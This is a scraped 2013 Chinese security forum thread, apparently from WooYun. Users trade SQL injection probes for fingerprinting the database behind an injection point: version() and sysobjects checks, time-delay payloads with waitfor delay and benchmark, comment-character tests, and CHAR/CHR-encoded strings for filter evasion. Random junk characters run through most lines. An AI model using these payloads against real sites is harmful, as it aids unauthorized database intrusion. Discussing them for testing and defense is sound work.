一个注射点如何最快速确认是什么类型数据库6 v* r7 k9 \) |: {( y* K2 F( r
xsser (十根阳具有长短!!) | 2013-02-05 12:36# \/ p8 T1 a$ f3 [% \ X* j5 n
假设这么一个注射点:4 X- r% f) Y4 X, s0 `* ]
show.html?id=2/ W8 G+ V4 V @2 w; o/ y
mysql:id=2 and version()>0( j% a" C+ H, ]6 m3 Z# ]; o
oracle:id=2 and '1'||'1'='11
/ | }1 J& ^4 H% f& X/ A0 ?9 C$ X其他的欢迎补充& x% {" M( X# d& u7 e- T
1#2 ^. d$ Q$ x! [% g1 p- W
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
# G6 ~" L p7 G0 X) I. u! RAccess:
8 a' ~! }/ s& J+ i: W. M7 t; kaNd aSc(cHr(97))=97
- K- R9 z7 h) Zand exists(select id from MSysAccessObjects), W! P; H5 Z! G# N& d
SQL Server:
$ A1 H- k5 a/ i; n# l. Pand exists(select id from sysobjects)
9 z7 D6 ?5 a. \ v' x3 \and length(user)>0
9 E+ y+ `8 J! v# p+ gMySQL:7 s; B% A- Q$ n/ A. ]- O
and length(user())>0" }" y% E. q' e8 D7 C* L
2#
) c& s# R: ~( [/ ]+ f9 Hxsser (十根阳具有长短!!) | 2013-02-05 12:48+ d; I `* h! t$ c3 p
@upload 如果这些都不是呢…
- O5 w3 }5 x8 o3#8 f) |+ l; X% T, O
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03' X8 O* S i0 g( e4 D
@xsser 不快速的,延时注入
+ p( n( W" r+ i不知道这样写对不对: [7 e) d: V. T2 O5 a1 E8 i% _- y
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'2 N: R8 \3 g4 _) p; k7 E& k
mysql:id=2 and select benchmark(1e8,current_date());" u' c0 M ^6 {* |; s
4#
' j/ R8 ]. c& W& r: H2 w, A( Y( D3 ~upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
# p% W0 H; H3 B5 C7 n' h, X$ C最快的貌似是看报错信息. L0 R9 O! r9 c3 N6 t
oracle error
4 Y; C) W! k8 ^, ]. ]" Ymssql error
/ {+ c; h6 Z: Emysql error
! w8 f( T7 K' p" r" {3 T0 a& }5#
/ w8 K( z' V# S `1 rNimda (你们都是坏银~) | 2013-02-05 13:14
# }8 V: R0 c# x! ~小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
. \3 u: a0 t" |4 R# Y0 U3 @/ ?6#" @; G$ @* Q' t q7 f1 T
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:212 z, ?( W$ f3 D8 a K
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
3 V ^- i% T. _. z8 J: i# ?“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
. G4 _( d3 S* s4 c) O2 G7 W% h“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
0 G4 d0 l J$ I, j7#4 U1 u( z& Z: p: I7 ^' a( Y
_Evil (HackEnd) | 2013-02-05 13:33# c$ b4 `7 o, V( o0 U5 `! J
PostgreSQL3 D- L1 a% p9 _# {; y* T) J9 W" m
8#
. t+ E/ k' ]- q& E* ]0 o8 Q3 i, e' fupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42; _, R: Y/ D7 f, L1 R
切换编码 and 1=1
$ A! W- R$ Z4 `, r3 Noracle:
$ k9 H6 A. s) n! b! A# F3 dCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
0 P0 `9 N# e7 Y. _; @( Y5 amssql:5 j7 ~8 G3 V; z& ?3 b, v- n
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
# B5 @* ~3 M$ W, ]+ Gmysql:
- U( I; W1 I- U ^. R( M7 K9 g% XCHAR(97, 110, 100, 32, 49, 61, 49)
( v/ a: a" d# M% ~2 N) G0 e9#
( N1 t# a7 L/ F' {4 oxsser (十根阳具有长短!!) | 2013-02-05 14:313 ^! b$ i6 o4 _
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
$ p8 g# E0 o: N6 e ~2 `4 `10#
% p! p- D. H; T) j8 ~0 @5 D s- aupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
" o& ]8 C8 U4 I5 h+ s2 R@xsser 是奇葩数据库类型的么?
+ y, f! {7 l5 Q" x根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
* K( Z0 E: @* ~" t7 Q, p# P1.是否可以使用特定的函数来判断,该数据库特有的2 ^* p' \4 N: P& S
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
( N* I+ {' A! ^; T- D3.是否可以编码查询
) e1 B( C8 \3 r. |. I4.是否显可以利用错信息- z4 }5 |! x. `$ e; }
5.是否存在数据库某些特性辅助判断* J- W3 F; n0 ]) K$ h! C
个人见解& e8 I$ K" {+ v% |7 L4 d0 n- t0 h' y
11#+ z# S7 R! I- p2 u. ~' J7 l+ X
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
4 D/ l( |9 F! X1 h1 q4 T已收藏,mssql可以直接看到错误提示的吧~0 ^" c* B: |. y6 Z
12#. @- Z4 c- a7 s
Passer_by | 2013-02-05 15:09
' }1 \7 u0 E B! l2 D6 H" m曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。' |9 k# u3 o$ O4 l' x6 u. X7 v
from:http://zone.wooyun.org/content/260 |